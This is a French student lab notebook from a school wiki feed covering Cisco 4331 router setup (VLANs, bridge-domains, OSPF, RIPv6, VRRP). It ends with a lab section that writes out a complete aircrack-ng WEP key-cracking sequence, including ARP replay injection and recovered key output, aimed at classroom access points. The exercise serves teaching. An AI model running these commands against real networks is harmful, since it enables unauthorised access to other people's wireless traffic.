&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 3e semaine====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e semaine====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5ème semaine ====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35205</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35205"/>
				<updated>2016-11-17T10:02:40Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Travail réalisé la 4e semaine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRp - Cassage de clé WEP - Cassage de clé WPA&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère semaine ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e semaine (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
